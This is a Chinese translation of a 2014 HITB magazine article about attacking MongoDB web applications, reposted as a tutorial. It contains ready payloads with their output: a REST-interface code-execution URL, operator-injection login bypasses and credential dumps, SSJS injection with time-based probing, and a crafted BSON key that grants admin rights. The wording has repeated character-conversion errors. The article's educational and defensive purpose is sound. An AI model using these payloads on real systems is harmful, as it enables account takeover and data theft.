《花十分鐘,看懂MongoDB攻防實(shí)戰(zhàn)》要點(diǎn):
本文介紹了花十分鐘,看懂MongoDB攻防實(shí)戰(zhàn),希望對(duì)您有用。如果有疑問(wèn),可以聯(lián)系我們。
相關(guān)主題:非關(guān)系型數(shù)據(jù)庫(kù)
譯者說(shuō):此文譯自2014年1月的HITB雜志 ,該文提到的漏洞可能早已被修復(fù),但其分析思路至今仍具有現(xiàn)實(shí)意義.
開(kāi)發(fā)人員今天在越來(lái)越多地使用NoSQL數(shù)據(jù)庫(kù)來(lái)應(yīng)對(duì)各種應(yīng)用.與SQL注入相比,NoSQL攻擊方法知之甚少,不太常見(jiàn).本文重點(diǎn)介紹針對(duì)于NoSQL數(shù)據(jù)庫(kù)的攻擊,通過(guò)MongoDB漏洞攻擊Web應(yīng)用程序.
初識(shí)MongoDB
在介紹MongoDB漏洞之前,我們應(yīng)該先了解這個(gè)數(shù)據(jù)庫(kù).在各大知名的web項(xiàng)目中都有應(yīng)用NoSQL數(shù)據(jù)庫(kù),其中MongoDB是時(shí)下最流行的NoSQL數(shù)據(jù)庫(kù).此外,Microsoft在其云平臺(tái)Azure上提供MongoDB數(shù)據(jù)庫(kù),這說(shuō)明該數(shù)據(jù)庫(kù)很快將被應(yīng)用于企業(yè)軟件.
簡(jiǎn)而言之,MongoDB是一個(gè)非常高性能(它的主要優(yōu)點(diǎn)),可擴(kuò)展(如果需要,可以在幾個(gè)服務(wù)器上輕松擴(kuò)展)、開(kāi)源(可以由大公司調(diào)整)的NoSQL數(shù)據(jù)庫(kù).MongoDB擁有屬于自己的哀求語(yǔ)言,但不支持關(guān)系型SQL語(yǔ)言的哀求.MongoDB是典型的key-value數(shù)據(jù)庫(kù),沒(méi)有table概念.
下載MongoDB安裝工具包,可以看到兩個(gè)可執(zhí)行文件:Mongo和mongod. Mongod是數(shù)據(jù)庫(kù)的server端主程序,用于存儲(chǔ)數(shù)據(jù)并處理哀求.而Mongo是一個(gè)用C ++和JS(V8)編寫的官方客戶端.
MongoDB的安裝與使用
安裝過(guò)程不再贅述,我們只關(guān)注更加有趣的部分.首先,我們來(lái)看一下REST接口. 它是一個(gè)Web界面,默認(rèn)端口28017,可通過(guò)瀏覽器遠(yuǎn)程控制其數(shù)據(jù)庫(kù).使用這個(gè)DBMS選項(xiàng),我們發(fā)現(xiàn)了幾個(gè)漏洞:兩個(gè)存儲(chǔ)型XSS,未公開(kāi)的SSJS(Server Side JavaScript,比如node.js)命令執(zhí)行和多個(gè)CSRF漏洞.下圖演示了這個(gè)REST界面:
我們將詳細(xì)說(shuō)明上述漏洞.這些字段客戶端和日志有兩個(gè)存儲(chǔ)的XSS漏洞,這意味著使用HTML代碼向數(shù)據(jù)庫(kù)發(fā)出任何哀求,這段代碼將被寫入到REST界面的頁(yè)面的源代碼中,并將在訪問(wèn)此頁(yè)面的人的瀏覽器中執(zhí)行.這些漏洞使以下攻擊成為可能:
1.發(fā)送帶有SCRIPT和JS地址的哀求.
2.管理員在瀏覽器中打開(kāi)Web界面,并在此瀏覽器中執(zhí)行JS代碼.
3.通過(guò)JSONP腳本從遠(yuǎn)程服務(wù)器哀求執(zhí)行命令.
4.腳本使用參數(shù)未驗(yàn)證的SSJS代碼執(zhí)行命令.
5.結(jié)果發(fā)送到我們的遠(yuǎn)程主機(jī),寫入日志.
至于參數(shù)未驗(yàn)證的ssjs遠(yuǎn)程代碼執(zhí)行,我們已經(jīng)寫了一個(gè)模板,可以根據(jù)需要進(jìn)行修改.
http://vuln-host:28017/admin/$cmd/?filter_eval=function(){re- turn db.version() }&limit=1
$ cmd在這個(gè)例子中是一個(gè)可以自定義的空函數(shù),大家知道了嗎?:)
玩轉(zhuǎn)MongoDB驅(qū)動(dòng)
假設(shè)有一個(gè)搭建好的Apache+PHP+MongoDB的web服務(wù)器和一個(gè)有漏洞的PHP腳本.
這個(gè)腳本的主要片段如下:
$q = array("name" => $_GET['login'], "password" => $_ GET['password']);
$cursor = $collection->findOne($q);
當(dāng)數(shù)據(jù)被接收時(shí),該腳本向MongoDB數(shù)據(jù)庫(kù)發(fā)出哀求.如果輸入的用戶密碼正確,那么它會(huì)接收,并輸出用戶的數(shù)據(jù).看起來(lái)如下:
echo 'Name: ' . $cursor['name'];
echo 'Password: ' . $cursor['password'];
假設(shè)已經(jīng)發(fā)送了以下參數(shù)(True):
?login=admin&password=pa77w0rd
那么對(duì)數(shù)據(jù)庫(kù)的哀求將如下所示:
db.items.findOne({"name" :"admin", "password" : "pa77w0rd"})
由于數(shù)據(jù)庫(kù)包含密碼為pa77w0rd的用戶管理員,所以此時(shí)數(shù)據(jù)庫(kù)響應(yīng)為True;如果使用其他名稱或密碼,那么響應(yīng)將不會(huì)返回(False).
除了語(yǔ)法的差異,MongoDB和其他數(shù)據(jù)庫(kù)大致相同.因此,admin賬戶的信息需要隱藏起來(lái),我們將輸出信息中關(guān)于admin的數(shù)據(jù)篩選掉:
db.items.find({"name" :{$ne : "admin"}})
我想你已經(jīng)有了如何欺騙這個(gè)登錄驗(yàn)證的想法.我們從理論到實(shí)踐.首先創(chuàng)建一個(gè)哀求,這個(gè)哀求將符合以下條件:密碼不是1,用戶是admin.
db.items.findOne({"name" :"admin", "password" : {$ne : "1"}})
有關(guān)上述帳戶的信息作為回應(yīng):
{
"_id" : ObjectId("4fda5559e5afdc4e22000000"), "name" : "admin",
"password" : "pa77w0rd"
}
在PHP中將如下所示:
$q = array("name" => "admin", "password" => array("\$ne" => "1"));
只需要將密碼變量聲明為一個(gè)數(shù)組:
?login=admin&password[$ne]=1
因此,輸出admin數(shù)據(jù)(True). 這個(gè)問(wèn)題可以通過(guò)函數(shù)is_array()將輸入?yún)?shù)轉(zhuǎn)變?yōu)樽址愋蛠?lái)解決.
注意正則表達(dá)式可以并且應(yīng)該用在諸如findOne()和find()這樣的函數(shù)中.使用的例子:
db.items.find({name: {$regex: "^y"}})
該哀求將找到以字母y開(kāi)頭的用戶. 假設(shè)在腳本中使用了對(duì)數(shù)據(jù)庫(kù)的以下哀求:
$cursor1=$collection->find(array("login"=>$user, "pass" => $pass));
從數(shù)據(jù)庫(kù)接收到的數(shù)據(jù)將以下面的結(jié)構(gòu)顯示在頁(yè)面上:
echo 'id: '. $obj2['id'] .'<br>login: '. $obj2['login']
.'<br>pass: '. $obj2['pass'] . '<br>';
正則表達(dá)式可以幫助我們收集到我們想要的所有數(shù)據(jù) ,我們所要做的僅僅是將收集到信息轉(zhuǎn)換為腳本所需要的數(shù)據(jù)類型:
?login[$regex]=^&password[$regex]=^
我們將收到以下回復(fù):
id: 1
login: Admin
pass: parol
id: 4
login: user2
pass: godloveman
id: 5
login: user3
pass: thepolice=
此外還有另一種方法來(lái)利用該漏洞:
?login[$not][$type]=1&password[$not][$type]=1
在這種情況下輸出如下:
login: Admin
pass: parol
id: 4
login: user2
pass: godloveman
id: 5
login: user3
pass: thepolice
該算法適用于find()和findOne().
SSJS哀求注入漏洞分析
如果MongoDB和PHP一起使用,存在一個(gè)與服務(wù)器發(fā)出的SSJS哀求有關(guān)的典型漏洞.
假設(shè)我們有一段存在漏洞的代碼,它將用戶數(shù)據(jù)注冊(cè)到數(shù)據(jù)庫(kù)中,然后在操作過(guò)程中輸出某些字段的值. 類似于留言簿的功能.
代碼如下所示:
$q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs});
一個(gè)重要的條件是變量$ pass和$ login直接從數(shù)組$ _GET獲取,并且不對(duì)$ _GET獲取的信息進(jìn)行過(guò)濾:
$login = $_GET['login'];
$pass = $_GET['password'];
以下是執(zhí)行此哀求并從數(shù)據(jù)庫(kù)輸出數(shù)據(jù)的代碼:
$db->execute($q);
$cursor1 = $collection->find(array("id" => 2)); foreach($cursor1 as $obj2){
echo "Your login:".$obj2['login'];
echo "<br>Your password:".$obj2['pass'];
}
測(cè)試腳本準(zhǔn)備好了,接下來(lái)就是練習(xí). 發(fā)送測(cè)試數(shù)據(jù):
?login=user&password=password
接收以下數(shù)據(jù)作為回應(yīng):
Your login: user
Your password: password
我們?cè)噲D利用這個(gè)漏洞,從最簡(jiǎn)單的引號(hào)開(kāi)始:
?login=user&password=';
,SSJS代碼由于出錯(cuò)而未被執(zhí)行.但是,如果發(fā)送以下數(shù)據(jù),所有內(nèi)容都會(huì)發(fā)生變化:
/?login=user&password=1'; var a = '1
接下來(lái)將代碼改寫,使頁(yè)面能顯示代碼的執(zhí)行結(jié)果:
?login=user&password=1'; var loginn = db.version(); var b='
當(dāng)執(zhí)行上述代碼后,JS代碼變成了如下的形式:
$q = ?function() { var loginn = user; var passs = '1';
var loginn = db.version();
var b='';
db.members.insert({id : 2, log- in : loginn, pass : passs}); }?
現(xiàn)在我們可以通過(guò)這個(gè)漏洞來(lái)閱讀數(shù)據(jù)庫(kù)其他的記錄:
/?login=user&password= '; var loginn = tojson(db.members. find()[0]); var b='2
讓我們來(lái)詳細(xì)的了解一下:
1. 已知的函數(shù)結(jié)構(gòu)可以用于重寫變量并執(zhí)行任意代碼.
2. tojson()函數(shù)有助于從數(shù)據(jù)庫(kù)中獲得完整的響應(yīng).
3. 最重要的部分是db.members.find()[0],其中members是一個(gè)表,而find()是一個(gè)輸出所有記錄的函數(shù). 結(jié)尾處的數(shù)組表示我們處理的記錄數(shù). 通過(guò)爆破結(jié)尾處數(shù)組的值,我們可以從數(shù)據(jù)庫(kù)中收到記錄.
當(dāng)然,代碼執(zhí)行后可能會(huì)沒(méi)有輸出,這時(shí)我們需要基于時(shí)間的注入方法,這種技術(shù)利用服務(wù)器響應(yīng)延遲來(lái)接收數(shù)據(jù). 舉一個(gè)例子:
?login=user&password=';
if(db.version()>"2")
{ sleep(10000); exit;}
var loginn =1;
var b='2
這個(gè)哀求可以讓我們知道數(shù)據(jù)庫(kù)版本. 如果超過(guò)2(例如2.0.4),那么我們的代碼將被執(zhí)行,并且服務(wù)器會(huì)以延遲響應(yīng).
嗅探MongoDB
眾所周知,MongoDB允許創(chuàng)建數(shù)據(jù)庫(kù)的特殊用戶. 有關(guān)數(shù)據(jù)庫(kù)中用戶的信息存儲(chǔ)在表db.system.users中.
我們對(duì)上述表中用戶名字段和密碼字段感興趣. 用戶列包含user login,pwd - MD5 string?%login%:mongo:%password%?其中l(wèi)ogin和password包含用戶的登錄名,哈希值,密鑰和密碼.
所有數(shù)據(jù)都是未加密傳輸?shù)?并且通過(guò)劫持?jǐn)?shù)據(jù)包可以獲取用戶名和密碼的特定數(shù)據(jù). 在MongoDB服務(wù)器上認(rèn)證時(shí),需要劫持客戶端發(fā)送的隨機(jī)數(shù),登錄名和密鑰. 包含以下形式的MD5字符串:%nonce% + %login% + md5(%login% + ":mongo:" + %passwod%).
編寫軟件自動(dòng)劫持?jǐn)?shù)據(jù)并不困難,但會(huì)暴力劫持登錄名和密碼的后果卻十分嚴(yán)重.
BSON數(shù)據(jù)的漏洞分析
現(xiàn)在讓我們來(lái)研究一下基于BSON格式數(shù)據(jù)的漏洞.
BSON(二進(jìn)制JavaScript對(duì)象符號(hào))是一種主要用作存儲(chǔ)各種數(shù)據(jù)(Bool,int,string等)的計(jì)算機(jī)數(shù)據(jù)交換格式. 現(xiàn)假設(shè)存在一個(gè)有兩條記錄的表:
> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" :
"admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }
還有一個(gè)參數(shù)存在注入點(diǎn)的數(shù)據(jù)庫(kù)哀求:
>db.test.insert({ "name" : "noadmin2", "isadmin" : false})
只需將設(shè)計(jì)好的BSON對(duì)象插入列名稱即可:
>db.test.insert({"name\x16\x00\x08isadmin\x00\x01\x00\ x00\x00\x00\x00" : "noadmin2", "isadmin" : false})
isadmin之前0x08指定了數(shù)據(jù)類型為布爾值,0x01將對(duì)象值設(shè)置為true,而不是默認(rèn)分配.
現(xiàn)在看看表中有什么:
> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }
{ "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true }
Isadmin的false已經(jīng)變成了true!
在現(xiàn)實(shí)生活中可能會(huì)遇到上述的攻擊和漏洞,我們不僅應(yīng)該考慮在MongoDB中運(yùn)行的平安代碼,還要考慮DBMS本身的漏洞.希望通過(guò)本文的介紹能讓大家了解到NoSQL數(shù)據(jù)庫(kù)也不是平安無(wú)憂的數(shù)據(jù)庫(kù).
歡迎參與《花十分鐘,看懂MongoDB攻防實(shí)戰(zhàn)》討論,分享您的想法,維易PHP學(xué)院為您提供專業(yè)教程。
轉(zhuǎn)載請(qǐng)注明本頁(yè)網(wǎng)址:
http://www.fzlkiss.com/jiaocheng/10132.html